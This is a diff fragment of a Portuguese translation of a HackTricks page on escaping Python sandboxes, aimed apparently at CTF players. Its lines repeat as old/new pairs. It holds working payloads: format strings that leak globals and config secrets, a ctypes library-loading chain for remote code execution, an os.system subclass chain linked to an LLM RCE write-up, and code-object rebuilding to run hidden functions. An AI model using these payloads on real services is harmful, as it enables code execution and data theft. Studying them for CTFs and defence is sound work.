> Isto é simplesmente **incrível**. Se você está **procurando por um objeto como globals, builtins, open ou qualquer outro** basta usar este script para **encontrar recursivamente lugares onde você pode encontrar esse objeto.**
```python
import os, sys # Import these to find more gadgets
@ -662,16 +664,13 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
Você pode verificar a saída deste script nesta página:
{{#ref}}
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
{{#endref}}
## Python Format String
Se você **enviar** uma **string** para python que será **formatada**, você pode usar `{}` para acessar **informações internas do python.** Você pode usar os exemplos anteriores para acessar globals ou builtins, por exemplo.
Se você **enviar** uma **string** para o python que será **formatada**, você pode usar `{}` para acessar **informações internas do python.** Você pode usar os exemplos anteriores para acessar globals ou builtins, por exemplo.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -691,16 +690,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Observe como você pode **acessar atributos** de forma normal com um **ponto** como `people_obj.__init__` e **elemento de dict** com **parênteses** sem aspas `__globals__[CONFIG]`
Observe como você pode **acessar atributos** de forma normal com um **ponto** como `people_obj.__init__` e **elemento dict** com **parênteses** sem aspas `__globals__[CONFIG]`
Observe também que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Também observe que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Algumas outras características interessantes das strings de formatação são a possibilidade de executar as funções **`str`**, **`repr`** e **`ascii`** no objeto indicado adicionando **`!s`**, **`!r`**, **`!a`** respectivamente:
Algumas outras características interessantes das format strings são a possibilidade de **executar** as **funções** **`str`**, **`repr`** e **`ascii`** no objeto indicado ao adicionar **`!s`**, **`!r`**, **`!a`** respectivamente:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Além disso, é possível **code new formatters** em classes:
Além disso, é possível **implementar novos formatters** em classes:
```python
class HAL9000(object):
def __format__(self, format):
@ -714,7 +713,7 @@ return 'HAL 9000'
**Mais exemplos** sobre **format** **string** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> Consulte também a página a seguir para gadgets que irão r**ead sensitive information from Python internal objects**:
> Verifique também a página a seguir para gadgets que irão l**er informações sensíveis de objetos internos do Python**:
{{#ref}}
@ -741,18 +740,18 @@ str(x) # Out: clueless
A partir de [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### De format para RCE carregando bibliotecas
### Do format para RCE carregando bibliotecas
De acordo com o [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) é possível carregar bibliotecas arbitrárias do disco abusando da format string vulnerability em python.
De acordo com o [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) é possível carregar libraries arbitrárias do disco abusando da format string vulnerability em python.
Como lembrete, toda vez que uma ação é realizada em python alguma função é executada. Por exemplo `2*3` executará **`(2).mul(3)`** ou **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
Como lembrete, toda vez que uma ação é realizada em python alguma função é executada. Por exemplo `2*3` irá executar **`(2).mul(3)`** ou **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
Você tem mais exemplos como este na seção [**Python execution without calls**](#python-execution-without-calls).
Uma python format string vuln não permite executar funções (não permite usar parenthesis), então não é possível obter RCE como `'{0.system("/bin/sh")}'.format(os)`.
No entanto, é possível usar `[]`. Portanto, se uma biblioteca comum do python tiver um método **`__getitem__`** ou **`__getattr__`** que execute código arbitrário, é possível abusá-los para obter RCE.
Uma python format string vuln não permite executar função (não permite usar parenthesis), então não é possível obter RCE como `'{0.system("/bin/sh")}'.format(os)`.\
No entanto, é possível usar `[]`. Portanto, se uma biblioteca python comum tem um método **`__getitem__`** ou **`__getattr__`** que execute código arbitrário, é possível abusar deles para obter RCE.
Procurando um gadget assim em python, o writeup propõe esta [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Onde ele encontrou este [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Procurando por um gadget assim em python, o writeup propõe esta [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Onde ele encontrou este [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -774,20 +773,20 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Este gadget permite **load a library from disk**. Portanto, é necessário de alguma forma **write or upload the library to load** devidamente compilada para o servidor atacado.
Este gadget permite **carregar uma biblioteca a partir do disco**. Portanto, é necessário de alguma forma **escrever ou fazer upload da biblioteca a ser carregada**, devidamente compilada, no servidor atacado.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
O desafio na verdade explora outra vulnerabilidade no servidor que permite criar arquivos arbitrários no disco do servidor.
O desafio explora outra vulnerabilidade no servidor que permite criar arquivos arbitrários no disco do servidor.
## Dissecando Objetos Python
## Dissecando objetos Python
> [!TIP]
> Se você quer **aprender** sobre **python bytecode** em profundidade leia este post **incrível** sobre o assunto: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> Se você quer **aprender** sobre **python bytecode** em profundidade, leia este post **incrível** sobre o tópico: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Em alguns CTFs você pode receber o nome de uma **custom function where the flag** e precisa ver os **internals** da **function** para extraí-la.
Em alguns CTFs, você pode receber o nome de uma **função customizada onde a flag** reside e precisa ver os **internos** da **função** para extraí-la.
Esta é a **function** a ser inspecionada:
Esta é a função a ser inspecionada:
```python
def get_flag(some_input):
var1=1
@ -807,7 +806,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` e `func_globals` (mesmo) obtêm o ambiente global. No exemplo, você pode ver alguns módulos importados, algumas variáveis globais e seus conteúdos declarados:
`__globals__` e `func_globals` (Mesmo) obtêm o ambiente global. No exemplo você pode ver alguns módulos importados, algumas variáveis globais e o conteúdo declarado por elas:
```python
get_flag.func_globals
get_flag.__globals__
@ -834,7 +833,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
### Obtendo informações do código
### Obtendo Informações do Code
```python
# Another example
s = '''
@ -880,7 +879,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **Desassemblar uma função**
### **Desmontagem de uma função**
```python
import dis
dis.dis(get_flag)
@ -908,7 +907,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Observe que **if you cannot import `dis` in the python sandbox** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **disassemble**-la localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode inferi-las a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o offset da variável que está sendo carregada.
Observe que **se você não puder importar `dis` no python sandbox** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **disassemble**-la localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode deduzi-las a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o offset da variável sendo carregada.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -932,8 +931,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Compilando Python
Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que você não pode executar** mas você **precisa** **executá-la**.\
Como no exemplo a seguir, você **pode acessar o code object** dessa função, mas apenas lendo o disassemble você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_)
Agora, imagine que de alguma forma você pode **dump the information about a function that you cannot execute** mas você **precisa** **executá-la**.\
Como no exemplo a seguir, você **can access the code object** dessa função, mas apenas lendo o disassemble você **não sabe como calcular o flag** (_imagine uma função `calc_flag` mais complexa_)
```python
def get_flag(some_input):
var1=1
@ -968,7 +967,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor forma de saber a ordem dos params na versão do python que você está executando é rodar:
> Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do python que você está executando é executar:
>
> ```
> import types
@ -976,10 +975,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### Recriando uma leaked function
### Recriando uma leaked função
> [!WARNING]
> No exemplo a seguir, vamos extrair todos os dados necessários para recriar a função diretamente a partir do function code object. Em um **exemplo real**, todos os **valores** para executar a função **`code_type`** são o que **você precisará leak**.
> No exemplo a seguir, vamos extrair todos os dados necessários para recriar a função diretamente do objeto de código da função. Em um **exemplo real**, todos os **valores** para executar a função **`code_type`** são o que **you will need to leak**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -992,8 +991,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Contornar Defesas
Nos exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isto é interessante porque você pode **executar scripts inteiros** com loops e tudo mais em uma **one liner** (e poderíamos fazer o mesmo usando **`exec`**).\
De qualquer forma, às vezes pode ser útil **criar** um **objeto compilado** em uma máquina local e executá-lo na **CTF machine** (por exemplo porque não temos a função `compiled` no CTF).
Nos exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo em um **one liner** (e poderíamos fazer o mesmo usando **`exec`**).\
De qualquer forma, às vezes pode ser útil **criar** um **objeto compilado** em uma máquina local e executá-lo na **CTF machine** (por exemplo porque não temos a função `compiled` na CTF).
Por exemplo, vamos compilar e executar manualmente uma função que lê _./poc.py_:
```python
@ -1022,7 +1021,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Se você não puder acessar `eval` ou `exec` você poderia criar uma **função adequada**, mas chamá-la diretamente geralmente vai falhar com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função fora do ambiente restrito para chamar essa função.**
Se você não conseguir acessar `eval` ou `exec`, você pode criar uma **função propriamente dita**, mas chamá-la diretamente geralmente vai falhar com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1032,7 +1031,7 @@ f(42)
```
## Descompilando Python Compilado
Usando ferramentas como [**https://www.decompiler.com/**](https://www.decompiler.com) é possível **descompilar** código Python compilado.
Usando ferramentas como [**https://www.decompiler.com/**](https://www.decompiler.com) é possível **decompile** o código python compilado.
**Confira este tutorial**:
@ -1041,7 +1040,7 @@ Usando ferramentas como [**https://www.decompiler.com/**](https://www.decompiler
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
## Diversos (Python)
## Python Diverso
### Assert
@ -1055,7 +1054,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
will be bypassed
será bypassed
## Referências